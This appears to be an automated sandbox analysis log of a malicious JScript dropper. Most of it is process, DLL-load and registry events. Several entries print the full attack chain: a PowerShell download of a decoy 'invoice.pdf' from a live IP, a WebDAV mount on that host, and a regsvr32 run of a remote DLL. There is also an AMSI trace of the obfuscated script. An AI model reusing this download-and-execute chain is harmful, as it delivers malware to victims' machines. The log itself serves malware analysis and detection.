Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6312:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_roxx2a4f.j0i.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1624,i,9425132416729305521,13826478321277664541,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1624,i,9425132416729305521,13826478321277664541,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5237.js.csv");ITextStream.WriteLine(" entry:9311 f:xwjrkf");ITextStream.WriteLine(" exec:2 f:xwjrkf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
